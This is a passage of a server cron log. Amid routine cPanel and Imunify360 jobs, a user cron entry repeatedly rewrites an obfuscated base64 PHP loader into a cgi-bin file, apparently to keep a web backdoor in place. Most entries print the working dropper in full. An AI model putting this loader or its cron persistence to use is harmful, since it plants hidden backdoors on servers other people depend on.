DSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:02:01 server CROND[11242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:03:01 server CROND[11620]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:03:01 server CROND[11622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:03:01 server CROND[11621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:04:01 server CROND[11993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:04:01 server CROND[11992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:04:01 server CROND[11994]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:05:01 server CROND[12499]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:05:01 server CROND[12500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:05:01 server CROND[12504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:05:01 server CROND[12507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:05:01 server CROND[12510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:05:01 server CROND[12506]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 06:05:01 server CROND[12509]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:05:01 server CROND[12514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:06:01 server CROND[13351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:06:01 server CROND[13352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:06:01 server CROND[13353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:07:01 server CROND[13734]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:07:01 server CROND[13735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:07:01 server CROND[13736]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:08:01 server CROND[14137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:08:01 server CROND[14139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:08:01 server CROND[14138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:09:01 server CROND[14509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:09:01 server CROND[14510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:09:01 server CROND[14512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:09:01 server CROND[14511]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 06:10:01 server CROND[15011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 06:10:01 server CROND[15012]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 06:10:01 server CROND[15014]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 06:10:01 server CROND[15017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 06:10:01 server CROND[15018]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:10:01 server CROND[15022]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 06:10:01 server CROND[15021]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:10:01 server CROND[15023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:11:01 server CROND[15882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:11:01 server CROND[15883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:11:01 server CROND[15884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:12:01 server CROND[16256]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 06:12:01 server CROND[16257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:12:01 server CROND[16258]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:12:01 server CROND[16259]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:13:01 server CROND[16638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:13:01 server CROND[16639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:13:01 server CROND[16640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:14:01 server CROND[17005]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 06:14:01 server CROND[17006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 06:14:01 server CROND[17007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 06:15:01 server CROND[17399]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
